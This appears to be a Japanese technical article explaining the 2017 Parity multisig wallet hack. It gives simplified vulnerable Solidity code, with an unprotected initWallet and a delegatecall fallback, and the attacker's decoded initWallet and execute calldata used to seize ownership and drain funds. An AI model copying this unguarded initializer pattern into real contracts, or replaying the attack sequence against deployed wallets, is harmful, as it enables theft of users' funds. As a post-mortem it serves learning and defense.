Ethereum技術動向:
Parity Walletの脆弱性と
技術的な攻撃の仕組み

はじめに

ParityWalletとは、イーサリアムのウォレットを提供する一つです。最近Parityチームから、マルチシグのセキュリティハッカー達によって、Parity1.5のクライアントのマルチシグ・ウォレットのコントラクトがハッキングされたということが報告されています。ハッカー達はICOのプロジェクトのEdgeless Casino, Swarm City, and æternityの3つのプロジェクトから、ICOプロジェクトに投資した人の持分を合わせ、153,037Ether(当時の価値で3000万ドル)を奪いました。

MultisigExploit-Hacker（MEH: マルチシグ専門のハッカー）は、Parityのクライアントのmultisig wallet contractの脆弱性を悪用しています。
ここでは、第一回「ParityWalletの脆弱性と技術的な攻撃の仕組み」、第二回では「攻撃に使用される関数delegatecall,ParityMultisigWalletの今後開発者が気をつけるべき点」に分けて説明していきます。

第1章　Parity Walletの脆弱性

ParityWalletのコントラクトの脆弱性

ハッキングされた時のParityの脆弱性は、既存のウォレットの所有権を取ることを可能にする「internal(自身のコントラクトまたはこのコントラクトからアクセス可能)修飾詞」の省略によるものであるとの報告が多いです。しかしこれを解決するには正しいinternal修飾詞を追加すれば良いと多くの人が思いがちですが、攻撃は簡単に防ぐことはできませんでした。

Multisig Walletの仕組み

脆弱性のあるマルチシグウォレットは2つのコントラクトに分割して、gasの量を節約するために各ウォレットのサイズを最小化しました。最小化することによって、機能を最小限にすることとなり、関数の数などを調整しました。2つのコントラクトとは、「WalletLibrary」というライブラリーコントラクト、ライブラリーを呼び出すために実行されるウォレットコントラクトです。WalletLibraryはWalletから呼び出されるオーナーの権限によって資金を引き出したりなどの基本機能を提供するコントラクトです。その時使用されていた脆弱性のあるコントラクトの例を下記に示します。

Wallet Libraryのコントラクトの例

```
contract WalletLibrary {

        address owner;
        function initWallet(address _owner) {
            owner = _owner;
            //以下省略
        }

        function changeOwner(address _new_owner) external {
            if (msg.sender == owner) {
                owner = _new_owner;
            }
        }

        function () payable {
            // 以下省略

       }

        function withdraw(uint amount) external returns (bool success) {
            if (msg.sender == owner) {
                return owner.send(amount);
            } else {
                return false;
            }
        }
    }
```

WalletLibraryを使用するためのWalletContractの例

```
contract Wallet {
    address _walletLibrary;
    address owner;

    function Wallet(address _owner) {
        _walletLibrary = <address of pre-deployed WalletLibrary>;
        _walletLibrary.delegatecall(bytes4(sha3("initWallet(address)")), _owner);
```

```
    }

    function withdraw(uint amount) returns (bool success) {
        return _walletLibrary.delegatecall(bytes4(sha3("withdraw(uint)")), amount);
    }

      function () payable {
       _walletLibrary.delegatecall(msg.data);
    }
}
```

上記のコードをよく見ると、全体を通してdelegatecallが呼び出されています。次の回でdelegatecallについて説明していきます。

第二章　攻撃の仕組み

攻撃の内容

攻撃者は、2つのトランザクションを送信しました。1つ目はMultiSigの所有権を取得するトランザクション(initWallet Contract（WalletLibraryの216行目）の)、2つ目は攻撃対象のMultiSigWalletの中に保有している資金を全て移動するトランザクションです。
最初のトランザクションはinitWalletへの呼び出しを行うことで、コントラクトの所有者を攻撃者に変更できるなどの権限を得ることができます。当初、initWallet Contractには初期化された時に他の権限者が呼び出すのを防ぐ審査は導入されていませんでした。その為、コントラクト内のownersの状態変数を攻撃者に移してから、全ての資金を攻撃者宛のアドレスに送金するという方法が取られました。

所有権を移行するためのinitWallet関数の例

```
    // コンストラクタ - オーナー配列をmultiownedをパスして
    // リミットをdaylimitへ
    function initWallet(address[] _owners, uint _required, uint _daylimit) {
      initDaylimit(_daylimit);
      initMultiowned(_owners, _required);
    }
    資金を引き出すためのpayable関数の例
    function() payable {
      // just being sent some cash?
      if (msg.value > 0) {
      Deposit(msg.sender, msg.value);
       else if (msg.data.length > 0)
      _walletLibrary.delegatecall(msg.data);
    }
```

initWalletを用いることで誰でも所有権を移行できるようになり、当時所有権が初期化された際は、元々の所有者か確認する策を施していませんでした。攻撃者はこの脆弱性に着目して、コントラクトの状態変数m_ownersをアドレスを含むだけのリストにして、トランザクションを実行したのです。

```
Function: initWallet(address[] _owners, uint256 _required, uint256 _daylimit) ***
    MethodID: 0xe46dcfeb

[0]:0000000000000000000000000000000000000000000000000000000000000060

[1]:0000000000000000000000000000000000000000000000000000000000000000

[2]:0000000000000000000000000000000000000000000000116779808c03e4140000

[3]:0000000000000000000000000000000000000000000000000000000000000001

[4]:000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32
```

それにより変更した権限を使って、payable関数を呼び出し、Walletに元々入っていた資金を攻撃者のアカウントに送信しました。

```
Function: execute(address _to, uint256 _value, bytes _data) ***
    MethodID: 0xb61d27f6

[0]:000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32

[1]:0000000000000000000000000000000000000000000000116779808c03e4140000

[2]:0000000000000000000000000000000000000000000000000000000000000060

[3]:0000000000000000000000000000000000000000000000000000000000000000

[4]:0000000000000000000000000000000000000000000000000000000000000000
```

当時のParityWalletでは自動的に許可されたため、複雑な攻撃の仕方でなくても簡単に送金することができました。上記から外部から呼び出しの制限をつけていなかったことに問題があったようです。

第二回では、「攻撃に使用される関数delegatecall,ParityMultisigWalletの今後開発者が気をつけるべき点」を説明していきます。

以上

免責事項:

当サロンに掲載されている記事の内容につきましては、正しい情報を提供することに務めてはおりますが、提供している記事の内容及び参考資料からいかなる損失や損害などの被害が発生したとしても、当サロンでは責任を負いかねます。
技術・サービス・実装方法等のレビュー、その他解説・分析・意見につきましては当サロン運営者の個人的見解です。正確性・正当性を保証するものではありません。当サロン掲載記事内容のご利用は読者様個人の判断により自己責任でお願いいたします。

参考資料:

・**The Parity Wallet Hack Explained**
https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7